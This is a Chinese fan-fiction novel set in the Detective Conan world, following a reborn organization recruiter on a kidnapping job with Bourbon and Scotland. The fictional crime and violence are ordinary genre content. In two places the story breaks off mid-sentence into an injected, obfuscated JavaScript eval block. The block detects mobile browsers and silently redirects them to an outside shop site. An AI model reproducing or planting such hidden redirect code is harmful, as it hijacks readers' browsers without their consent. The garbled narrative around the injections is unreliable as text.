《冤种如我竟是威士忌的白月光》 1. 突然出现的男友 “亲爱的,轮到我们上场了。” 贴耳的男声轻轻响起,随后有人拍了拍她的脸。 什么?亲爱的?在说谁? 她猛然睁开眼,映入眼帘的是个眉眼俊秀的金发男人,看着有点眼熟。 “波本?” 脱口而出叫出对方的代号后,她有些发懵。 她记得他早就不在她手底下混了,算起来他们两人已经很久没有见面,他怎么管自己叫“亲爱的”? 两年前,她将这人引荐给了组织。他的能力不错,但心思不少,没在她手下混几天,就申请转去了情报组。后来听人说,他在情报组混得风生水起,一年多就混到了代号。 她扫视了一眼周围,发现自己正坐在一辆停下的豪车的副驾驶上。 周围的灌木郁郁葱葱,看起来像是有人精心打理过的样子。身后的另一侧,映入眼帘的是一栋洋房风格的别墅,她对此毫无印象。 这是哪里啊? 她记得,在断片之前,她还在为莱伊的事奔波—— 对了,莱伊! 是了,她失去意识之前,应该是在为莱伊的任务善后。 有人告诉她,莱伊的任务出了岔子,琴酒亲自赶过去了。 她当时就有些急了。 莱伊是她三年前在一次任务中认识的,也是她招募进组织的第一个人。这个男人性格冷酷,能力卓越,与她拆伙以后就在组织中单干,二人聚少离多,但也有些露水情缘,因此她知道了消息后有些放心不下。 她记得自己前往了任务地点。然后……然后发生了什么来着? 眼前浮现刺目的白光,还有恐怖的灼热。 对,那是一场剧烈的爆.炸!她分明死在爆.炸中了啊! “在发什么呆?” 身旁响起声音,一只戴着手套的手轻轻托起了她的下巴,强迫她的目光转向他。 波本这张乖巧的小脸上,赫然摆着一副不悦的表情。 “你……”是不是翅膀硬了? 她的下半句话没能说完。 因为就在波本将她脸转过来的瞬间,她看到了车内后视镜里自己的脸。 这张被白色手套擒住的脸,竟然十分陌生。 苍白清瘦,一看就营养不良,颧骨都瘦得有点凹陷了,但仍然能看得出是个美人。 这不是她的脸! 她的背脊蹿上一股寒意,下意识咽了咽口水,镜中人的喉咙跟着一同滑动。一瞬间,似乎连眼皮能够与她心脏的砰砰跳动共振。 猛掐了自己一把后,她不得不在痛觉中接受现状。 她的意识如今进入了一个陌生女孩的体内。 那她原本的身体呢?还存在在这个世界上吗? “白羽响小姐。”波本的一只手被她抓着,挣了一下没挣开,气得发笑,“如果不是你和目标打交道的时候吹嘘自己有一位帅气的男朋友,我现在应该躺在千里之外的海滩上,晒着日光浴度假,而不是来这里配合你完成情报组入门级别的绑架任务!” “……” 波本的话信息量太大。她反应了一会儿。 白羽响。 他称呼她为白羽响。 还有,绑架任务,情报组,入门级别。 很显然,她不仅回到了组织之中,甚至变成了一位底层人员。 “响”这个名字,与她之前使用的代号“响酒”不谋而合,都读作“Hibiki”。 不会只是单纯的巧合吧? 究竟发生了什么? 眼看着她的走神和沉默,波本的眉头越皱越紧,眼看着就要到忍耐力的临界点。他深吸一口气,好似马上就要说点什么难听的话。 既来之,则安之。她决定就把自己先当成“组织新人白羽响”,先完成手上的任务再说。 于是,她迅速松开了波本的手,“偷袭”了他的脸颊。 一声响亮的亲吻后,波本不耐的神色僵在当场。 白羽响对他的状态颇为满意,安抚一般地轻抚波本的脸颊:“别生气亲爱的,我只是在预想进了别墅后要做的事情。” 手感真不错。她一边揩油一边感慨。 在之前一年的接触中,波本面对她一直都是温和又乖巧的模样,某次甚至打扮得像个男高中生。没想到他私下竟然是另外一幅嘴脸,亏她还一度因为招了这种模样纯良的家伙进组织而心生愧疚…… 不就是绑架吗?比起杀人越货的营生,这种任务已经轻松得不像话了。 波本隐去了不自然的神色,也躲开了她的手,用公事公办的语气帮着她“复习”接下来要做的事。 “今天的目标三木一海是三木工业集团的董事长。之前你们不是打过交道吗?他最近遇到了些麻烦,请求你——一位出道刚出道的独立模特,配合他完成一场双赢的炒作事宜。他希望你能扮演一个早年被他资助的贫穷学生,替他挽回口碑的同时,也打响你的名声。”波本一边说着,一边取下开车的手套拿出了一张证件,“而我,你的男朋友安室透,恰巧是日卖电视台娱乐频道的记者,对此熟门熟路。” 白羽响瞥了一眼他手中的记者证。 照片上波本笑得柔和慵懒,上衣宽松,看起来像是棉麻制成的。 他的演技肯定是没有问题的。 但是,比起他现在谈话时穿得西装革履,看起来简直更…… “像男公关。” 脱口而出的瞬间,她识相地闭上嘴,朝波本瞪圆的眼睛做了个把嘴巴拉链拉上的手势。 啧。 作为组织的响酒,这几年她一直从事着招募新人的工作,遇上看着顺眼的,还会专门带着新人做任务。正因如此,这些人向来任由她拿捏,从不敢造次,波本自然也不例外。 也不知道是不是天道好轮回,她现在竟然变成了波本手下的新人,口无遮拦的毛病得改改了。 被气得够呛的波本深呼吸了两三秒:“……我会想办法在谈话的过程中将他放倒,然后你就叫来管家,联系他们家的私人医生,之后的事情,就不用你操心了。” 白羽响点头,表示自己一定配合。 别墅的雕花铁门缓缓向两侧滑开,露出铺着青石板的庭院。修剪整齐的冬青丛与爬满廊柱的紫藤花看起来相得益彰,一看就被人精心打理过。 管家引着两人走进客厅,挑高的天花板悬挂着欧式油画,通往会客室的走廊两侧摆着古董花瓶,路过那些花瓶的时候,她闻到空气中飘着淡淡的花香。 有钱人就是会享受。不过这屋子比起皮斯科的枡山家宅邸还是差了许多,看起来没那么热闹。 白羽响想着,看了一眼波本的神色。 对于波本这种高手来说,欣赏的过程等同于观察,恐怕就算没有和三木一海见过面,就已经想好了要怎么与对方攀谈。 两年前一个类似的绑架任务,目标是某个大人物的高中生女儿,身边的保镖不少。仅仅在对方转身的一个瞬间,波本就察觉那个女孩书包上的挂饰属于某个地下重金属乐队,以此为借口去套了近乎。 还有一次调查任务,她与波本混进了一个商业宴会中,波本在随口恭维宴会主人的家庭美满时,从他夫人一两秒钟的沉默里察觉了完美家庭之下的裂缝。之后他以此为突破口,成功在私下与那位女士搭上了话。 波本的八面玲珑让她印象深刻。 虽然与他短暂地出过三次任务以后就拆了伙,但她也认同这个人比起行动组,更适合去情报组发展。 会客室比想象中更宽敞,深棕色真皮沙发围绕着大理石茶几,三木一海立在一排嵌金边的高尔夫球杆架旁边,手中正把玩着一根漂亮的球杆,杆头在灯光下泛着冷金属光泽,一看就知道很贵。 见到二人的一瞬间,三木一海将球杆轻轻放置在一旁的桌面上。 “三木先生。”作为牵桥搭线的小辈,白羽响率先微笑着开口,“这位就是我之前和您说起的,我的男友安室先生,他是日卖电视台娱乐频道的记者。按照约定,我带他一同来拜访您了。” “您好,三木先生,久闻大名。”波本笑着和三木一海寒暄,脸上挂着恰到好处的温和笑容,递过一张名片,“能见到三木工业集团的掌舵人,实在荣幸。” 三木一海的目光在安室透身上扫了一圈,嘴角勾起一抹客套的笑:“果然如白羽小姐说的那样一表人才,请坐。” 管家适时地在话题开始之前端来了三杯茶水,然后转身关门离去。 恭维人不是白羽响的专长,但是波本颇擅此道,没过多久,他就将三木一海原本有些严肃的脸说得露出了几分真心的微笑。 白羽响在一旁作陪,脸都笑得有些发酸。虽然波本说原主之前和三木一海见过面,但她却没有印象,一时半会儿也不知道该寒暄些什么。 好在很快二人就开始聊起商业形象的话题,三木一海的身子微微前倾,和波本压低声音说道:“会拜托白羽小姐这件事,也是有原因的。前阵子,我们集团名下的工地出了点事,安室先生有所耳闻吧?” 安室透的眉峰几不可察地向上挑了挑,身体微微前倾,刻意放低了声音,带着恰到好处的认同与轻蔑。 “有听闻。几个不知天高地厚的工人,为了那点微薄薪水,竟敢闹到您家门口,还特意找来记者煽风点火,其中两个甚至不惜用跳高楼这种极端方式要挟您……”他顿了顿,眼神里适时地添了几分“同仇敌忾”的冷意,“恕我直言,这种拎不清局势、只懂用极端手段博取同情的人,死了也是活该。” 白羽响看了一眼三木一海,他的嘴正在慢慢地咧开。 这番话显然说到对方的心坎里了。 “太对了,简直愚不可及。”三木一海笑着摇头,颇为遗憾地叹气,“要不是这两条人命,我们公司已经拿下了一份十个亿的合同,我实在是咽不下这口气啊!” 两条人命? 白羽响微微一怔。 原来不止是要挟,竟然真的有人为了这种事丧命了。这就是三木一海想要通过炒作提升商业形象的原因。 这么说,他是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16939474|192927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人渣一个啊? 她的内心逐渐明白了这件事的大概。 估摸着,就是在三木一海迫不及待洗清负面舆论的时候,找上了与他本就相识的原主。而作为组织新人的原主则轻而易举地取得了他的信任,表示愿意配合他的计划,达成了彼此“双赢”的局面。 可一想到三木的主意是让她成为配合他的“慈善资助对象”,她就不由在心里嗤笑。 这种连人命都不在乎的人,还会真心实意地做慈善吗?也不想想公众会不会买账。 也难怪,这个商业形象的跃迁计划,被他称之为是一次“合作”。 虽说从前的响酒也不是什么守法公民,但她对这种人渣就是有天生的鄙夷。她瞄了一眼与三木一海畅聊的波本,内心有些烦躁。 怎么还没聊完?不是说看准机会把人放倒吗? 她决定主动出击,打断二人的谈话。 “三木先生,您的球杆看着很是别致,我可以欣赏一下吗?”白羽响说着,站了起来,朝着三木一海的书桌走了两步。 她修长的腿笔直地落在三木一海的眼中,他颇有兴趣地上下打量了一番以后,目光才落在那根球杆上。 “随意。”他慷慨地说道,“只要我们的合作能成,这根球杆送给白羽小姐也可以。” 白羽响笑着,将桌上的球杆拿起来把玩。 她的视线顺着球杆落在了桌上的日历上,心中微微一惊。 9月13日…… 她记忆中的那场爆.炸案,应该发生在一周以前。原来在她意识没有回归的时候,时间已经悄然过了一个礼拜。 耳边,波本还在和三木一海讨论着商业合作的计划。 “三木先生,我们来确认一下合同的细节吧?” 三木一海的注意力显然被波本的话吸引了,接过了那份被文件夹保存好的合同。 白羽响握着球杆的手指微微收紧,指节泛白。她目光掠过三木一海低头翻看合同的后脑勺,又快速扫向波本。 如果是下药之类的手段,恐怕在三木一海被她吸引注意力的瞬间就下在了他的杯子里吧。 但她现在心里正十分不痛快,何况像这样的人渣,本来就需要“痛”一点的解决方法。 她摸着手中的球杆,金属冰凉又光滑的触感从她的指间传了过来,她满意地掂了掂。 “砰!” 沉闷的撞击声在安静的会客室里格外刺耳。 高高扬起的球杆精准砸在三木一海后脑,他哼都没哼一声,身体猛地向前一栽,额头撞在茶几边缘,文件夹“哗啦”一声掉在地上。 紧接着,他像一摊烂泥似的滑落在地毯上,双眼紧闭,彻底没了动静。 白羽响淡定地看着三木一海倒下去的身影,眉头终于展开。 “搞定了。”她一边擦着球杆一边说道。 波本被她的动作惊得定在原地,看着地上的人,又看看一脸坦然的白羽响,嘴角抽了抽,颤抖着伸出手试了一下三木一海的鼻息。 没死。 他松了口气,随后压低嗓子愤怒道:“你疯了吗?我已经把药下在他的杯子里了。” 白羽响微微一笑:“他过会儿在谈话中一定会喝茶吗?不能吧。但我能确定,我的球杆能稳稳落在他的头上。” 行动队的风格向来是以干脆利落为主,只要能达成目的,过程根本不重要。 “莽夫行为!”波本骂了她一句,“万一你下手太重,导致他丧命怎么办?” 白羽响撇了撇嘴。她又不是真正的新手,怎么会有这种风险? 波本攥着拳头深吸一口气,压下心头的火气,快步走到门边,将“三木先生突然晕倒了,脸色很难看”的消息传递给了门外的侍者。 不久,管家走了过来,看到倒在沙发上的三木一海,发出了一声短促的惊呼,随后,一个穿着白大褂、戴着细框眼镜的男人也从门口走了过来,手里提着一个黑色的箱子。 “发生什么了?”他问道。 熟悉的声音让白羽响心头猛地一跳。 男人身形挺拔,面容温和:“我是三木先生的私人医生,请麻烦让一下,我要检查他的情况。” 白羽响看着眼前的男人——这张脸,她绝不会认错! 苏格兰威士忌。 一个同样是她两年前招募进组织、出事当晚还聊着天的人。 那个夜晚,在仓库爆炸发生的半个小时前,她还在与苏格兰闲聊,说起银座街角那家贵得要命的拉面店就要关门了。 他们两年前搭档的时候光顾过这家店,贵,但好吃。 苏格兰没有及时回复,大概在忙。 她也不管那些,继续给他发:你不是说最近会回米花町?再一起去吃一次吧。 这些消息,在她后来出发之前全都没有收到回复。而她也只是和苏格兰说了一句“有事要外出去趟安全屋附近的仓库,晚点再聊”,就匆匆离开了。 至于没有完成的约定,都与她一同,葬身在了那晚的火光之中。 2. 穿着白大褂的苏格兰 白羽响的目光持续地在苏格兰的身上打转。 她的目光掠过苏格兰白大褂的领口,又在握着听诊器的修长手指逗留,最后盯着他架在鼻梁上的那副细框眼镜。 这是她没怎么见过的苏格兰——斯文、温润,看起来像是个学历很高的读书人。 如果这个人没有进入组织,说不定真的可以成为一个医生……会是个人气很高的医生吧?没有哪个小姑娘能扛得住制.服.诱.惑。 组织中的苏格兰,向来都是背着枪、戴着兜帽出任务,行事风格非常低调。 但是在见到他的第一眼,白羽响就被他身上安静的锐利吸引了。 她见过很多想要加入组织的人。这些人要么走投无路,要么自命不凡,脸上往往带着或桀骜、或麻木、或贪婪的神色,但是苏格兰不是这种人。他站在身处喧嚣的人群里,带着一种隔绝一切的静谧。 对上视线的一瞬间,她发现他的眼睛很清亮——既不像是愉悦犯,也不像贪欲旺盛的堕落者,更不像亡命之徒。她当下就产生了兴趣,决定看看这个人的身手如何。 她给准备进入组织的新人们选定了选定了两个目标,并许诺谁先拿下就是她下一个任务的搭档。 所有人都下意识地拔刀或举枪,跃跃欲试,唯有他依旧站在原地,目光盯着目标的两张照片。 见到她感兴趣,手下的人给她介绍,这个人的名字叫“青川辉”。 青川辉…… “读起来一点也不像干这行的。” 她这么和手下的人评价道。 然而她实在是对这个叫青川辉的男人感兴趣,于是一路远远地跟着他。他果然率先找到了那两人的藏身之处,抬手、举枪、射击,一系列动作行云流水,甚至没有外放的攻击性。 一枪过后,一名目标应声倒地。他没有任何的兴奋,稳稳地停顿了一秒,趁着第二人即将逃窜至门口准备要开门的一瞬间,再次开枪,射中了那人的太阳穴。 他甚至没有低头看一眼目标有没有死透,回头看向她所在的方向,一双蓝眼睛里透着了然,看得她心头猛然一动。 原来他知道自己一直跟着。 从此,她收获了一个不张扬而克制的搭档。 一边回味一边欣赏时,一只手缠上了她的腰。 白羽响下意识肌肉紧绷想要回击,但很快就意识到那只手来自于身边的波本。 “亲爱的,我们现在是情侣。”波本用只有她能听见的声音提醒道,“你不能用饶有兴致的目光看别的男人,就算是医生也不行。” 行吧,她得注意人设。 白羽响微微撇嘴,把视线从苏格兰身上挪走。 “老爷他怎么样?”管家问道。 苏格兰拿下了听诊器,脸色凝重:“初步判断是突发性晕厥,下跌的时候撞到了头部,有点发肿,需要进一步检查。宅邸里的医疗设备不足,无法做详细检查,我要将老爷转移到我的私人诊所,用专业仪器排查风险。” “这……”管家面露难色。 “时间不等人。”苏格兰说话的语气很柔和,话却不容置疑,“这样吧,去诊所的一路,可以派人跟随照料,等三木老爷的情况稳定,您可以派人再将他接回别墅。” 管家只得点头同意,接着派了两个侍者,将三木一海的身体托着塞进了他的商务车内。苏格兰自然得陪同一起坐进去,身后的司机快步赶上,坐进了驾驶座。 目送着他们远去的背影,管家依然愁眉不展。不过很快他就反应过来,回过头又不好意思地打了个招呼:“今天的事情发生得突然,是三木家招待不周。” “哪里,这也是意想不到的事。”波本一句话简单地客套完,“那我们就告辞了。” 管家礼节性地微微颔首,波本拉着白羽响的手腕转身离开别墅。穿过庭院时,不远处三木家的商务车正缓缓启动,车窗半降,隐约能看到后座侍者紧张的侧脸。装扮成医生的苏格兰也坐在后座,正闭目养神。 白羽响坐上了波本开来的那辆豪车的副驾,忍不住开始催促他:“快跟上吧。那辆车上可是有两名侍者和一位司机,医生先生孤军奋战,你就不怕他双拳难敌四手?” 波本却没有立刻发动车子,反而侧过头看她:“什么时候轮到你发号施令了?虽然你的确没有驾照,但我也不是你的司机。” 什么臭毛病?哪里来的这么大的官威?白羽响在内心默默吐槽。 她不吭声,波本却没有想放过她的意思:“我可从来没告诉过你,那位医生是组织的人。” 意识到波本正盯着她的脸观察,她一瞬间想起了这家伙敏锐的洞察力。 情况不明,最好还是不要在他面前露出破绽。 “这还用问吗?他帮着隐瞒了三木晕倒的原因。如果他只是普通私人医生,看到雇主被打成这样,第一反应应该是报警。”白羽响耸了耸肩,“我不蠢,你也别把我当傻子。” “那很难讲。”波本愉悦地上翘了一下嘴角,顺便发动了车子,“毕竟我可从来没见过你那么不可控的组织新人。” 什么?不可控?莫名其妙! 遥想波本刚进组织的那会儿,她带着他出任务。虽然任务完成得不错,但他特别喜欢去做些“附加题”。某次在和行动目标套近乎的时候买了一大束鲜花,最后在准备跑路的时候因为不方便携带,被她直接扔进了垃圾桶…… 究竟谁是不可控的组织新人啊? 短短两个小时不到的时间,波本在她的心中的形象已经完全刷新——这家伙真实的面目,就是一个容不得手下的人提半句意见的老古板。 波本将车开到一处偏僻小路,三木家的车就停在路边。看到这一幕,波本也跟着刹车,将车停在商务车斜后方。他俩刚下车,就见苏格兰推开车门,从车上走了下来。靠近那辆商务车的时候,白羽响闻到空气中弥漫开一股淡淡的苹果气味,大概是催眠瓦斯一类的东西。 苏格兰摘下口罩,回头看了一眼车内。 白羽响顺着他的目光看去,商务车后座的侍者和前座的司机歪靠在座椅上,双目紧闭,呼吸平稳,已经失去意识。 波本走上前,目光扫过车内,伸出手将平躺的三木一海架了起来,用下巴指挥白羽响:“帮忙。” 行吧,她就勉为其难地出点力。 白羽响认命地跟着绕到车后,和波本一起将三木架下车。 男人身体沉重,两人费力地往豪车后座拖,刚走到车边准备把人往里塞,三木的头磕在了后备箱边沿,突然闷哼一声,手指微微动了动,眼皮竟开始往上抬。 “小心,他要醒!” 白羽响低呼一声。 波本反应比她更快,松手绕到车后,单手托起一个箱子,对准三木后颈“咚”地砸了下去。这一砸之下,三木身体一软,彻底没了动静,脑袋歪向一边。 白羽响定睛一看,波本手中的东西是个沉甸甸的金属工具箱,看尺寸像是装维修工具的。这一下打得可不轻,三木一海的后颈迅速泛红的痕迹。 “你就不能轻点?”白羽响似笑非笑地伸出手,想去探三木的鼻息,学着波本之前训她的口气,“万一你下手太重,导致他丧命怎么办?组织的任务可就黄了。” 苏格兰原本正弯腰整理商务车的车门,听到白羽响这话,直起身侧过头看向两人。 他细框眼镜后的眼睛弯起一点弧度,嘴角向上挑起,不闻笑声,但有笑意。那沉默的笑意像温水漫过石子,轻缓却清晰。 波本没好气地看了他俩一眼,重新架起三木的胳膊,把他往后备箱塞:“别磨蹭,这里不宜久留。” 白羽响收回探鼻息的手,看着波本略显急躁的背影,嘴角勾起一抹得逞的笑——这家伙,明明自己下手比谁都狠,之前还好意思说她是个莽夫。 她上前搭了把手,将三木塞进豪车后座,他肥胖的身躯蜷缩在后备箱中,看起来狼狈不堪。她又回头看了眼商务车里昏睡的侍者和司机:“这些人怎么办?就扔在这儿?” 行动队的人在行事风格上有分歧。 就好比琴酒带的那支队伍,风格十分明显,喜欢杀人灭口,不留后患;但她跟的是皮斯科和爱尔兰,从前爱尔兰带她做任务的时候,不怎么喜欢节外生枝。 随意地杀死无辜路人,不是她的作风。 苏格兰已经重新戴上口罩,脸上的笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16939475|192927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意随之收敛,显然他要负责善后的工作。 “短时间不要让他们醒过来。”波本对他说道,“三木家的人越晚报警越好——谈得妥当甚至不一定要报警。毕竟,如果他的态度配合的话,或许一夜之间就能回到熟悉的别墅了。” 波本做事没有那么暴力,倒也让她松了一口气,随之而来的是疑惑。 白羽响揉了揉有些发酸的胳膊,转身就往波本的车副驾驶钻去。这具身体实在是瘦弱,刚才搬三木耗了不少力气,她现在只想赶紧找个地方歇会儿。 可刚坐稳,就听见波本慢悠悠的声音飘过来:“谁让你坐上来的?” 什么? 白羽响脸上的疲惫瞬间僵住,转头看向他,满眼都是迷惑。 “你的任务是和我‘假扮情侣’,帮我接近三木、配合我劫走他。”波本的手搭在方向盘上,“现在你的戏份已经结束了。你不会以为,我还得负责送你回家吧?下车。” 谁稀罕跟他一起去做任务一样! 这话像一盆冷水,瞬间浇灭了白羽响刚才的疲惫。 她看着波本那张挂着嘲讽的脸,立刻反应过来——这家伙根本就是在记仇!记恨刚才她拿“下手太重”的事跟他开玩笑,现在任务一结束,就立刻翻脸不认人,典型的小心眼。 “谁稀罕跟你一路!”白羽响咬着牙推开车门,下车时故意用了力气,“砰”的一声巨响,车门被甩得震了震。动静不小,背后的苏格兰被声音,回过头来看他俩。 “还有什么重要发言吗?白羽小姐。”胜利的波本摇下车窗,看着白羽响微笑着问。 “我在想念刚刚的那根球杆。”白羽响被他气笑了,“本来三木都打算送给我了,我正缺一件称手的武器。” 波本发出了两声轻笑:“那可真遗憾,我倒觉得工具箱更称手些。” 随后,这家伙就毫不犹豫地发动车子,轮胎碾过地面溅起细小的石子,很快也消失在视野里。 “什么人啊!”白羽响无语地看着绝尘而去的车,“过河拆桥也没这么快的吧!” 亏她当初还觉得波本聪慧又精明,手段也相对温和,那会儿怎么就没发现他还有这种潜质呢? 想起这些,她的心中就升腾起强烈的不爽。 等着吧波本。 下次任务,她一定要不遗余力地给他添堵! 正在气头上的白羽响刚回头打算和身后的苏格兰道别,突然后知后觉地想起了一件事。 组织里的人可都是有安全屋的,可……这具身体的原主,她的安全屋在哪儿? 这种线索也只能从自己这儿获得了。她拉开随身手提包的拉链,指尖在口红、纸巾和零碎物件里胡乱摸索,最终触到一张冰凉的硬卡。 “米花大饭店。”白羽响自言自语地念了一遍卡上的名字。 她的脑海里瞬间闪过零碎的记忆。 这家饭店是米花町有名的高档场所,宴会厅常年承办各类名流宴会,更重要的是,曾有一次组织任务的地点就是这里。他们截获了一名军火贩子的交易货物,而当时与她搭档行动的,正是苏格兰。 “我送你吧。” 熟悉的声音突然从身后传来,白羽响猛地回头。 苏格兰已经把口罩拉到下巴处,露出了下颌上的胡须,他平静的目光落在她手里的房卡上。 一瞬间,她心头刚涌起的愤慨被冲淡了。 白羽响轻轻攥了一下那张卡。 送她吗? 这种感觉,就好像她与他又回到了搭档的时候。 那会儿,他也会在任务结束之后,开车把她送到安全屋的附近。只不过,当时没有得到代号的他行动一直都很有分寸,从来都没有开口打听过她的安全屋具体在哪里,克制地保持着二人之间的距离。 换了一种身份,苏格兰还是向她伸出了援手。 白羽响有些感慨地想着,说了一句“谢谢”。 “不用谢。”他话锋一转,“不过,你得先等我善后结束。” “当然。”白羽响微微扬起了唇角,将声音放得轻柔些,“要帮忙吗?” 是苏格兰的话,她很乐意帮着对方善后。 3. 死于“背叛”? 手脚麻利地干完善后工作后,白羽响坐上了苏格兰的车。 窗外,路灯不断后退,橘黄色的光晕在眼底晃过,她的心里却像缠了团乱麻。 眼前的任务暂告一段落,可悬在心头的事太多,搅得她心神不宁。 这具身体的原主究竟是个怎样的人? 她为何会加入组织,成为一名情报组的底层人员? 还有她自己——枡山乡音,曾经的“响酒”,那场爆炸后是死了,还是昏迷了? 无数疑问在脑海里打转,她的指尖无意识地在座椅的缝线上反复滑动。 “还在想刚刚的事?”苏格兰打破了沉默,口吻一如往昔,平静得像浸在温水里的棉线,“别生气了。最近发生了些事,波本刚从欧洲回来,他的心情不太好。” 白羽响闻言回头看他。 苏格兰和波本进入组织的时间差不多,但她从来没有一起带过这两个人出任务。原来他俩私下很熟络? 她思索片刻,决定旁敲侧击,打听打听现在究竟是什么情况:“谢谢你的安慰。医生先生在组织里待的时间挺长了吧?我该怎么称呼你呢?” 从前,她一直称呼他为“青川”。 但是现在状况发生了改变,她得改一改曾经的习惯了。 “苏格兰。”他目视前方,方向盘在掌心轻轻转了半圈,车子平稳地拐过街角,顿了两秒才补充道,“也没有很久,两年而已。” 他真是太谦虚了。 苏格兰不是那种爱出风头的人,平日里不显山不露水。但他的任务完成率很不错,尤其是狙.击类的任务,耐心稳当,是个十足的好猎手。 从前与苏格兰搭档的时候,她就很喜欢这个人的性格。听说拆伙以后,他在组织里也交上了一些朋友,那个时候她就觉得是理所当然的事,他应该能和很多人都相处得很好。 “那已经很厉害了!”她装出一副新人的模样崇拜地说道,“不像我,不知道什么时候才能摸到点门路呢。” 说到加入组织后的升迁速度,她又忍不住想起莱伊,那个她最早招募进组织的“异类”。 那个人仅用了一年就拿到代号,行事狠辣又高效,简直天生是该在组织里发光发热的料。若不是念及旧情,她也不会关心则乱,以至于搭上了一条命…… “厉害算不上。”苏格兰的声音适时响起,打破了她的沉思,“只是运气好,遇到的任务难度不算太高,加上行动的时候有人搭把手,才走得顺些。” 白羽响立刻抓住话头,装作好奇的样子追问:“有人搭把手?是您以前的搭档吗?组织里能跟您配合的人,肯定也很厉害吧?” 夸起自己来,她一点都不羞耻。 说起来,她与苏格兰的搭档时间最久,直到他获得了代号,二人才拆队。这不是她最厉害的搭档,但这是她最舍不得的搭档。 和他相处,她会感到松弛和舒服。 自从被皮斯科收养,她成了不缺钱的大小姐,但是十岁前朴素的日子早已刻进骨子里。完成任务之后,她喜欢卸下一身的戾气与防备,作为普通人走进街头巷尾还开着的夜宵店,吃上一锅热气腾腾的关东煮。这些事,她从来都不让组织中的其他人知道。 某次深夜,任务结束得格外晚,气温低得让人发抖。当她和苏格兰一同收工路过熟悉的摊位,发现只剩下最后一份关东煮。 萝卜、鸡蛋、鱼饼都浸在浓稠的汤汁里,十分诱人。她看了一眼身后的苏格兰,不免有些犹豫。苏格兰似乎就意识到了她的目光,驻足停顿,问老板把那份关东煮买了下来,递给了她。她从苏格兰手上结果那碗关东煮的时候,整个人都有些怔愣。 她一开始觉得那太不像是苏格兰这种谨慎的人会做出来的事了,但又在一个瞬间之后,她又开始觉得,正是因为他是苏格兰,才会这么做。 那既不是讨好,也不是迎合,那是专属于苏格兰无言的体贴。 从那一刻起,他们纯粹的搭档关系发生了一些质变——冰冷的规则之外,有了一点热气腾腾的生活气息。 拆队了以后,他基本都在日本这里做杀手和策应的工作,偶尔相见的时候,还会一起约个饭。虽然基本都是她主动,但苏格兰一定会赴约。 “以前确实有个很厉害的搭档,很多复杂的任务都是靠她牵头才能完成。”苏格兰的声音从不远处悠悠传来,“但她死了。” 死了。 这个答案,让她暗暗地叹了一口气。 这不算是一个意外结果。被炸死的那一瞬间,疼痛欲裂的感觉似乎还在她的神经记忆当中。 这么说来,她像是被地狱踢回了人间的游魂,听着曾经并肩作战的熟人,用平淡的语气谈论“已经过世的自己”。 怎么感觉这样荒诞呢?她有些自嘲地扯起了嘴角。 干这行都得有死的觉悟,她早就做好了会死的准备,但她没想到自己竟然死得这么不明不白。 此时此刻,她想知道究竟发生了什么。 她提起一口气,面上却依旧维持着新人般纯粹的好奇,连声音都带着恰到好处的懵懂:“是位女士?那……她是怎么出事的?意外吗?” “不,她背叛了组织,被处决了。” 苏格兰握着方向盘的指节微微泛白,声音却没有丝毫波澜。 简单的一句话,像重锤般砸在白羽响心上。 背叛?处决? 荒谬,她怎么可能背叛组织? 她是个孤儿,记事起就生活在组织中,见过最肮脏的勾当,做过最冷血的任务,却从未有过半分二心——二十岁那年拿到“响酒”代号时的场景还历历在目。 响酒是调和威士忌的天花板,融合数十种原酒,兼具包容与艺术的典范之作。这是组织对她能力的认可,也是对她忠诚的嘉奖。 这些年,她作为组织向外眼神的翅膀,四处奔走、收纳新人,亲手将莱伊、苏格兰、波本他们引入组织,连他们的代号都延续了威士忌的脉络。她自认对得起组织的培养,对得起“响酒”这个名字,可现在,她却成了“叛徒”? 为什么?她为什么会背负着“叛徒”的罪名? 白羽响想不明白,但她再不甘心也不能将情绪外泄,只能用呼吸调整自己的心跳。 就在刚上车的时候,她还在想与苏格兰的旧日情谊,或许能够和对方坦诚秘密,寻求帮助,但现在,这点希望被掐灭了。 如果组织认定响酒是叛徒,那重生的事情一旦暴露,只会被毫不犹豫地灭口。她太清楚组织的手段了,她总不能赌这种带着记忆穿越进人家身体里的事,一次又一次地发生。 从今往后,她只能顶着“白羽响”的身份,独自在黑暗里摸索,找出被冠上“叛徒”罪名的真相。 “到了。” 苏格兰的声音从一旁传来,她如梦初醒。 车已经停下了米花大饭店的不远处,她努力地扯出一个微笑,和对方道谢。 苏格兰盯着她:“你的脸色很不好看。” 知道这种晴天霹雳一样的消息,脸色能好看才怪了。 白羽响朝着他客套地笑了笑:“我才刚加入组织不久,就听到了背叛者的惨烈下场,真是生动的一课。” 不等苏格兰说什么,她就扭过头推开了车门,以避开他的注视。苏格兰不喜欢窥探别人的秘密,但她万一露出了点什么不好的表情,也会被对方捕捉的。 他很细心,那样对她不安全。 双脚刚落地,她的余光就瞥见苏格兰也推开驾驶座车门,站在了车旁。 怎么?难道还要跟着她进酒店,直接送到房间? 白羽响有些疑惑地看了他一眼。而苏格兰只是站在车旁,目光落在她的身上。 “怎么了?”她问。 “没什么……酒店这种地方,人多眼杂,不适合做组织成员的安全屋。”他开口道,“你最好尽快换一个住所,白羽小姐。” 原来是在提醒她。 白羽响礼貌地笑了笑:“我明白了,谢谢您的提醒。再见。” 很久没有跟他这么客气地说话了,她竟然觉得有些陌生。< 